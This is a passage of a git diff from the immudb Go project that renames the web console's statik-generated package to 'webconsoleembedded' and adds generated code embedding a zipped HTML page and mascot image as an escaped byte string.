un\x8f\xd3\x12.a\x1b\xc4\xc2k\n\xd2XY^\x0cU\x1a\x151\xf0x8\xd16#\x18\x18\xd5}\x85\x0f\x9d\xbdtT7\xccT\xcf[x\xccQ\xa3\x95\xa5\xf7\xdc\x16\xcc\xc5b\xee\x13.C\xcd\xf0\x9a=\xbe\xf9\x8d\xdb'wZ\x8bNy3\xbe\x11\xe5\xa0P\xe1MX\x82\x9b\xe3\xdc\x1e\xd7f\xd7wn#FBD\xfb\x0f\xafF\xf7\xd3\xe5dd\xb2\xb4n\x14\x05\xf8\x9f\"\x7f\x1a]L\xf2\x95\xa0\x04\xd7\x01\xc1\x166\x00 \x83\xbe\xc69\x19\xa8\x14\x027\x12\xfe~\x1f\xc0\xec\x93\xf4I\xe5?}\xc4\xd53\x00%ij\x9c\xd3\x01\n\xe72M\xcf\xe6-8C>\x05%-\xa4\xf7/\xf8\xb7\xc2\xce~A\x80$z\x9a\x1d1P\x8c\xe0\xcd\xe5I\xcem\xd4\xe3\x18\x8b\"~\xb0k\xda w]\x0c\xfd\xfer?\x0f\xf0>\xe0\xf1A\xd1\xc8CC\xa4\xf4\x05\xa4\x81SI5\xd3\x11\xe7\n\xb1\xe6\x80C9\xe8\xae\x9bZ\x16\x8c\x9e#\xf9\x83{>\xad\x85\x080V\\\x9b\x962z+\xe6}}\x0f\xa0\x04o'V\xa6\n<\x7f\xa6\xea=\x0e\x08\x8c\xffn(\xcdX\x1b\",Z\x1a(\x92\x1f\xf2\x18jY\x0e\xf2f\xdd\x1e/\x90\xe3F ,J\x9a\xad8\x9a\xa1\x8a\x11}o\x88\xca\xfb\xa4\"\x0e \x04\x87\xcc\x02\xeei\x06oE\xf2C\xae=Qc\xdf\x13\xcd\xa0\xb3\xbe\xbe\xd1\x93\xef\x18{\x16k\x90f\xea\xa9\x15\x18\x11\xca-~\x9c\x1e;J\x1a\x0dO\x17T%\xea\x0d\xec\xc6\xe6\x93\xe5\xb6\xad\xdf\xc5\xdd\xedR\xe5\xd4gn\xb2\xea\xb9\xa5\xaf\\\x17\x7f\xc7T\xa2{.R\x1c\xaf\xfb\x85\xd2\xe4\xe7\xacx\xbc\xe2\x04i\x80j+\xfaK\x1e-s\xc0\xc8\x87\x0dC\x86\x92by^t,\xa6\xad\xf0\xd8Z\xf1?\xf9I)\x1b\xe5sV\x05A\xe8\xe4\xbc\x0c\xcc\xd4\x9c\xb2\xb8\xd4\xca!\x90.t\xa0\xdd\x9b\xce~\x89\x91\x16\x85\x9f#D\xfa\x04\x92\xa6fm\xe5\xf1\x86\xfd\x81I\xe7\x9b+\xfa\xfbuN\xee4\xc4eV;\xcd\x88*\xb46\xf4N\x96\xb7\x8eD\xfa\xc81.\xab\xb1\x1f+\xf3=X\xe4\x8c\xffL\xf2~F]\xd1\xe3\x15\x18EV\xd0\x08\xc0wA\x19{\xf4\xd9Z\xd6\xcc\xd0\x0b^\xa1\xf7\xe5^\xbe.\xd4\x0c\xf2\xb9m\x92\x97\x83\x9b\x993#&T\xb8\xa0.\x89\xff\xf2\xfe\xb9\x0e\xa0\x88\x96\xebHb\xbf8\xcb\x923\xb8\x8aO\x17\xeb\xc9\x81\xc8\x1e\xab\xf1?\x8f4\x06\x0d\xaf\x16\xd7yzi2\x0d\x90x_\xd0\xe3\x83@\xa6C\xfe\xf2\xa6\xd2\xa2\xdaR2:\xc5M\x86\xcb\xe2\xbd\x0e\x99\x86$r\xce\xed\x0d\x83:A\xf4\x93t\xb3\xac[\xaf]\xbe\x0e\xd7Z\xf3/\xe4\xe8\xd7\xc8kJ^y5]D\x11\xf8D@\xda:\x18\xc9\x8d\xb5\x97\x07u\xf58\xb75H\xcaq\x1aQ,A\xc4\xf8\x0e`\x17~\xd3\xe2\x8c\x91D\xcc\x81\x1b\xe5\xcc\xd6!\xc6\xcc\xfe\xe4\xf5\x8a\x98\xc4\xcdz\xa4\x83J\x11\x9a\xee%\xc01\x92`\xd0\xe2_P2\x11\x9b\xd5\x93d\x046\x9f\x91\x97x$\x0b\x9e\xbc\xa5\x02\xc7V'\xaf\xe1-\xa1\xd6\x92\xbf\\\xd9\xcb\x9aS\xd5\x15TKT\x8e\xc8\xed=$\xac\x8a\x1fn\xd6\x85H\xfd\xf5k\xb2\x9f\x91\"\xd9\xa3i\x94\xd2\xf4\x8e\xf0i\"\x0d+e\xcb\x94\xdf\xdc.\xcc\xd6\xec\xd4u\xbc\xc6\xaa-l\xd1\xe8\x89\xa9H\xaf\x96\x11\x02\xd6\x81\xa1\xc5\xe4\x19\x93\xdf@i\x02\x8b\x1b\xb8\xca\xfe\np\x1a\xb79{\xbf$\xd6\xda\xec\xb7\xe0\x9e\x87u\xa7`\xb1\xe2#\xa2\x88i\x05>\xee\x0cN\x96\xefw\x04\xbcW\x97\xb2Z\xf3\xa2\x19\x9au\x1aT\xee\xf3\xb1>\xbe7E\x02\xd6\xef\xc0\x9er\xf6\xc26\xf38}\xe7[\xaf\xaf?\xc9/\xc6\xed\x87\x03\x04\x0f\xe5my\xd7s\xa7\xaa\xad2q%j\nI\xcf1\xff\x04\xb3m\xcf\xb8\xc8\x1f \x94\xd2-p\xec\xf4me\x02\xc4vxhys?\xa7\"\xb7\xbc\xd4\xc2\x82\x89\xdc\xf0\x13\xb5U\xb9\n\xfc\xb3)\xb0\x9b\xca\x1b\xf3\x7f8\xc9Y~\xa6\\\xd4\xe2 h\xf0\xdc\xeda\x0b\xf1\x02\xf1\xbd\xe1e\x8a\x020sM\xbc\xf3\xfa\xba\x9e\xbf\xe8Gg+\xf3\x9b\x99\xea\xd9\xbc\x00\x16]\x8b\xc8\xae\xb3ZU8:<\xbey\\\x98\x88\xf9\\\xbcPR\x1e*\x93O\xcb\xf1>\x9dR\xda6\x0e&P3\xe3!T\x0d%\x1ct*\xe8\xfd\xdc\x07\xc3\xed\xf2\x05\x99q\xb2\xb6'\xefT\xd7e\xa4\xcd\x94$\xe0-&a\xfe\x0b\xf5\xec4\x108\x0ec\x0d\xe5IP\xc3%\xd5\xbaU\xc8\x8c\xd4\xd3\x8e=\x9f\xef\xef\x96\xae\x8eA\x99\xc2\xd4\x8e\x1e\x15\xb2\xb8\xc5\x06.\xdam \xe9~\xc7\xe2\xae\x12 \xc3:}@\xf2\xa2p\xf9\xa0\x96\xf1\x19\xf0\xf3f:\xd1\xed\x1b\xf6q\xfe\x10\xf6$2\xd2\xa537\xd6\x19p-#\xc7\x05;.\xb6H\xa8,J\xcb\xbdZ\xb45%\xf1\x16W\xfd\xf5-\x95W\x86\x11ii\x8f\xdcP\xe5T\xe1\xefB^\xae\xf7\xd6E\xf7\x84/\xdb\xea\x8bg\x1c\x99D\x88>\x89 _\xbc\x1c\n\x91\xad\xb1zfRt\xbf/\xeb\xb0\xbc\xa7\x80\xa0\x12!b\xeb\x81\x97\x8b\xe9\xb8i\xd4h\x0b~\xe6\xeb\\\n3\xc1V\x8e\xe7\xb3;(\x08\x9f\\\xa6\x9b#\"\x98\xa2L\xff/\x05,\xf9\xaf\x0b\x1f\xd4\xa7 \xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00snUV\x8d}\xce\x0b\x17\x02\x00\x00\x1b\x04\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00index.htmlUT\x05\x00\x01j\xcc\xf4cPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00bkUV{\x86\x02V\x89p\x00\x00\x99p\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81X\x02\x00\x00mascot.pngUT\x05\x00\x01\xa9\xc6\xf4cPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x82\x00\x00\x00\"s\x00\x00\x00\x00" + fs.Register(data) + } + \ No newline at end of file diff --git a/webconsole/webconsole.go b/webconsole/webconsole.go index 6c948021f6..92a1f5f384 100644 --- a/webconsole/webconsole.go +++ b/webconsole/webconsole.go @@ -3,14 +3,14 @@ package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsole -dest=. -tags=webconsole +//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsoleembedded -dest=. -tags=webconsole import ( "github.com/codenotary/immudb/pkg/logger" "github.com/rakyll/statik/fs" "net/http" - _ "github.com/codenotary/immudb/webconsole/webconsole" + _ "github.com/codenotary/immudb/webconsole/webconsoleembedded" ) var statikFS, err = fs.New() diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index dc5cc19b81..dc885ced21 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -3,13 +3,13 @@ package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsole -dest=. -tags=!webconsole +//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsoleembedded -dest=. -tags=!webconsole import ( "net/http" "github.com/codenotary/immudb/pkg/logger" - _ "github.com/codenotary/immudb/webconsole/webconsole" + _ "github.com/codenotary/immudb/webconsole/webconsoleembedded" "github.com/rakyll/statik/fs" ) diff --git a/webconsole/webconsoleembedded/statik.go b/webconsole/webconsoleembedded/statik.go new file mode 100644 index 0000000000..9815169100 --- /dev/null +++ b/webconsole/webconsoleembedded/statik.go @@ -0,0 +1,16 @@ +// Code generated by statik. DO NOT EDIT. + +// +build !webconsole + +package webconsoleembedded + +import ( + "github.com/rakyll/statik/fs" +) + + +func init() { + data := "PK\x03\x04\x14\x00\x08\x00\x08\x00\x99\x92OV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/index.htmlUT\x05\x00\x01\x82\"\xedc\x94T\xdfk\xdb0\x10~\xef_q\xd3(\xb4\x10GI PR\xdb\x0fk\xfb0\x18[\xd9\x0fX\x1f\xcf\xf2\xd9\x16\x93u\x9etn\x16\xc6\xfe\xf7\xe1\xdai\x12\xd6\x0d\xf6\x12)\x9f\xee\xfbN\x9f\xee\xc3\xe9\xab\xdb\x0f7\x9f\x1f\xee\xef\xa0\x91\xd6\xe5g\xe9\xb0\x80C_g\x8a\xbc\xca\xcf\x00\xd2\x86\xb0\x1c6\x00\xa9Xq\x94\xbfg\xd8Ra\xd8Gv\x94\xea\x11\x1c\x0bZ\x12\x84F\xa4K\xe8{o\x1f3u\x83\xa6\xa1\xe4\x86\xbd\x04v\n\x0c{!/\x99\xf2\x9c\x98\xe1h\x06\x9e\x93(\x1ch\x06m\x1f% \xf4\x88\xce\x96(\xa4@\xffM\xf5>`\xdd\xe2\x0br\xff\xe0\xdc\xfd\xe8l\xa0xDZ\x1c\xaa\xa3\xec\xf6\x1e\x00\n.w\xf0s\xfa\x03P\xa0\xf9V\x07\xee}\x99\x18v\x1c6\xf0z\xb5\\\xadV\xe6\xfa\xb9\xa4b/I\x85\xadu\xbb\x0d|\xe4\x82\x85g\x10\xd1\xc7$R\xb0\xd5\xa1p\x12\x08uq\xb1\xbcZ\xcf`\xffs\xb9/\xf95\xad8\x03\xdc<\xdah\x85\xca\xa3\xbb\x9c(\xac\x06\xee\xf2j\x06\xab\xe5\xe2\x0f\x81\xf9`\x13\xad\xa7pB\x07\xe88Z\xb1\xec7\x80Ed\xd7\x0b]\x9f\x9c\x0bw\x1bX/\xceOQG\x95\xbc\x00K@\x1f+\x0e\xedf\xdc:\x14\xfaz\x91\xac\x17\xe7\x97\x07\xe0a\x04\x0e\xcc\xf1\x8e\xa9>z\xf5)Z\xb6m\xfb\xb28\xcaT\xaa\xf7\xf1K\x9f\xc6b\x1c\xc6\x98\xa9gsj\xa2\xdb\xb6\x86\xad-\xa5\xc9\xd4r\xbdP\x10\x83\xc9T\x8b\xd1\xb0\xcc;_+@'\x99\x1a\xe5a\xc4\xd5~\xf8\xdd\xd4\x16\xb6\x18\xa1\xe8\xad\x13\xd8Zi\xb8\x97!\xe70\x05\x1db\xdfu\x1cd\x9e\xea\xee\x99\xf8\x89\x08R\x84&P\x95\xa9!mq\xa3um\xa5\xe9\x8b\xb9\xe1V\x1b.\xc9\xb3`\xd8\xe9\xb1\x87.\x1c\x17\xba\xc5(\x14\xf4\x9b/o\xdf\xdd\xce\xdbR\xe5\x0d\x05J5\xe6Pq\x00\xeb\xa3\x84\xde\x0cC\x8a3\xe0\x00%o\xbdc,\x01\xfd\x7fv\x0b\xe4\x08#E\x95sUYc\xd1=\x19,\x87^{#\xa9\x1e^6?K\xf5\xf8\x0d\xf8\x1d\x00\x00\xff\xffPK\x07\x08\n\x06\xc6F\x0f\x02\x00\x00\x14\x04\x00\x00PK\x03\x04\x14\x00\x08\x00\x08\x00\x99\x92OV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/mascot.pngUT\x05\x00\x01\x82\"\xedc\x9c\xda\xf5?\x1c\x0e\xc0\xc0\xf1\xd3\xc7\xd4\x9dn\xee\xf4Ww\x8d\xc3\xe9\xce\xe9\xe9\x98\xee\x18S\x87\xd3}b\x86i\xa6\xbb\xa6\xa7'\x86\xe9\xce\xa9i\xb6\x89\xe7\xf5\xfc\xf0\xfc\x03\xcf\xe7/\xf8\xfc\x01\xefXmM%\x02=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f \x1cP\xff\xe4Z\x18#\xc4-\xf7K\xdeGd!\x87\x0e\x184\xb2\x0e\x16&\xf0Y\xdb{x\x17\x9d\xfb\x11\xb9\x95\xe9\xab\x7f\xd6i\xb5%\xfeE\x1d\xf3n\xc7z\x91\xc5Wem\xcaa\xb2\xb4'\xea\x1f\xf0Q@\xbf_\xceA\x04\xcd\x93Hzp\xd8\xa0\xfdk\x7f\xa2\xd8\x0f\x12\x87\xa0\n\x87\x03?\xcf\xe1\xcd[\xaa\x9fb\xbd\x90e\x11\xf6\xad:L\xd2\x81\xa5\x82\xa4Wu\xeco\x03\x8b\xd7\xe6\xdf&\x0b\xb6c\xd5\x15\xb6\xbcs\xb3\xe9\xef\xa2\xf0y\x85E\xce\x1a\xc8>\xden\xeev\xfc{\x84jM\xcb\xb3\xc1cZ.\x063O\xd0\xfe\xb4\"\x0f\xe4\xe6\"\xebwTj\xfe\xd6p\x83U\x14kc \xec\x1fq\xbf\xf4P\xf1\xac\xc4\x91\xc5\x17|\xe7Z\x0fY?\xc7\xce\xc3\xbf\x8dW~\x1d\x95\xac\xf5\x00\x02\x9d\x18,t\xc9\x14\x8aa\xfbZ=,\"\xd36_\\\xbe\xbei\xd5qm3I\xb2\xcf\xeef\xd3\x8e; O\x84h\x84\xbd?\xe4 \xa7\xca\\\x99\x15\x9e\xcb0{\xda\x9a\xc6\xce\xd6j\x9f&\xb5\xb7mAv\x11!\x8e\xdc\x13\xbb\x065\x95\xf3\x9e\x06$\xfc\x83i\x0ep9\xfe\xde\x7f\xcam\xa8}4\xf2\xcc\x19[\xe6\xdaw\x90*\x97\xa4\x18(\xf8\xbb}\xfa\xa0\xa6\x94\x9b\x7f\x99@.z\xd2\xec\xf0\x96-\xc1\xecf\x12_\x17\xde\x9b\x11\xd5\x1brc\x8f\xa6\xef\xfek\x11g\x85\xfe\x12\x11\xd8 \xbb\x83\xbab\xcb\x89W\xdf\xd4\xbb +\xdfA \x0b8\x18\xfd\xfe\x1d\xa3m\xc6\xacB\xbe+\xa5\xbb3_\xe3\x0dZu\xa5\x1c!\xf6K*\x8b^\xb4ap\xe7\"\xa4\x03\x001\xea=!\xab<\xf3Ec\x7f\xfb\xe1\xdd\xc6\xd3U]\xceG`\xe8\xb5\\ \xa5\xfc\xbe\xdf+\x98\xcb\xf5Z\xd8%\xa3S\x0e\xea\xb3\xdbz|\xbf\xdcv\xa1\x81,\x1e+\xe4c\xd0\xd8R\x86|D\x8fdo\x0e\xd3%\xacB\x8a\x0d\xa2h_\xc1\xbf\xc0\x96wY\xee\xb7\xa3mg\xff\xce\x9ad\xfb\x9ex\xe7\xf2=\x1e\xdb\xc7\xe3\x1f\x9fu\x93a{\\1/\xfb\x92\x10k|\xe2R\x9f2\x15\xac\x9d\xb6\xba\xdfp\xdc\x138\xdb\xd9\xc8\xbd)\xc7\xa7\x94gz\xdep\x7f\xcf\x8b\xd8\x94\x19\x0d;?\x1cX\xe14#\xe4GH\xf4\xf1\x81_\xee\x81\x82[\xee\x97\xdc\xdeu\x9e\x8c\xab\x1d\x17\xee\x0c\xb7\xaa\xe5\xad\xfcf/{jV\xbe-\x80\x1a\xb6\x8e\"\x8fq> \x08:\xa7u<\x14\x82\xd3\x0e\xd5\x8e\xd6.\xd0\xf8\xc1>\xf8\xa5\x1d\xd9\xe8;n\x95%\xfc\xe9\xcfq\xbb`_n\xf0+\xb4\xe1V\xa6\x08\xebD\xfdr\x9d\xce\xaa\xc5\xaf\xad\xbf\xbd\xee\xcck\x82\xe2\\K\xd7$\x0c\x05\xfc\xdaW5\x94XN\xca.T\xb2\x93\xd1\xc9[;\x0cW\x87\x15\xb5or\xcc\x9af\xa2?\xd2\xbd\x1b\x7f6\xc8\xeb\xb9^\xefmi8\x01\xeeZwx(4{<\x8c\x9c\xc1\x06vTw\x9d~\xeeZ\x9f\xeb\xc6\x9b\xfd\x92\x02\xa7\xaa\xe4bi\xb0\x16\xa1\xbf\xbc\xd2\xe9\x96\xf2;\x91\xe2\n\xa2\xeehl^&\x98\xefXM\x14}_\x8b\x96\xaa\x82P\xc5\nE\xac\xfc\xc3g\x1c\xf8\xa1\xaf\xc5 *$\xc1\x97\x92\xc3\xdfK^\x970\xfa'pct\x05\xfa\x0c\xb3a\x8c@\xec\x7f\xb2\xa0\xbca\xd5C\xb4m\x89j\x97\xc0IRi\xaa|\x12Y\xd0\xb3\x97\xe4f\x96{\xedk\x8cA\x15\n^\xa88\x1ar\xccR\xe9@\xbb7vpq\x85\xac6\xde\xc8s\x0d\xb8\xdbqZ\xab^\xe9{\x82U\xa9a\xd7\xda\xbfo\xdc\xbe\x91\x85\xdbq\x82AHw\xf7\xbd\xcb\xaf\xda$\xcdo\xb7j\xe8q \\X\x05\xbf\x1a\x14\xbf7=0\xf6\xab\x1e\xfd\xb8\xdd\x08\xd9\xb7\x83\x15en\xe5\xe0\xc3\x82\x19\x86\xbcR\xa2~\x99\xe7\xb1+w\xff\x87\xa7\x86\xb1\xd3;\xa4[\x91\x9a\x97\xdcw4G\x8b\x14\xf3\xdc49rT\x9f\x03K\xe9\x7f\xb9]\xae\xc6v{S\x07\x0e\xac/\x1bVa\x00f\xf0i\xb1\xec\xca\x0c\xf1\xbdKV\x96\xa8\x80ni0 g\xf0\xa4Ff\xcd]\x96Z\xb3\xe7\x9d\xa9D\xc6\x9e\x00\x88^l\xb1_\x84ln\x08-w\x00\x1ecX\xf5\nM,\x1d\xee\x04\xc8\xd8\xc5)$\x8a\x1d\xdc\xf0\x9d%\x80\xf0=\x02\xa1\xf9\xab&\x9eu\x87\xed\xd7\xe8I.\x9bB\x8b\x9d\xe0\n\x86\xb6\x98\xba\xaa\x90\xe2\x80\x18\x18U\xac\xabo\x04ZZ\x05\"\xe5\x9f\xd6\x7f\x8f\xa0\xf3\xf7\xb7\xbe'\xf3DS]cVh1\xf9\xf3\x05\xf6\xb4on\xf2\xf0\xaf\xf4\xf5Z\xb4\xed\x90\x98\x13\xd5\xfa\xb0\x88C\x15(\xfb\x94\x14,_.\xd2n\x97\xa5\xf9r\xb1M\x8e>@a3X\xdf\xae\xd5\x9eE\x98\x80`\x8b\xb0\x1dbg\n\x7f\xed\xc4\xff\xe8\xec\\V7}-\x0f\x93D\xf7\xd4E\xf2Y\xa8\xf1\x94\xb3U\x9f\xda\xe7U\xc1\xe6n\xb7\xea\xd5\xd1;\x95*#\xad;\xe5\x1b7\xa7\x1b\xb2\xe1\xcf\xbc\x0f&\x14\xbc\x17\xe9\xdc\xef\x1d\x99\xbb\xe7\x18\xa9RiC\xff\xfe\x18fb\x01}L\x991\xa3\x85n\x8f\x1b\xb7\x1d\xbf\x9ff\x9du\xd2>\x15\x17q\xcdY\xce_\x15\x8b\xc5l\x1d\x98\xf6\xdd\xa9\x13\xbf\xc8b-\xe7\xb70\xadjm\xd5\xffso\x88\xfe\xbb{\xd6~X\x11\xbd&\x1bZ\xce\x1f\xdeZ\xfd\xd0\xaf\xbc\xb7*\xa8\x0c\xbb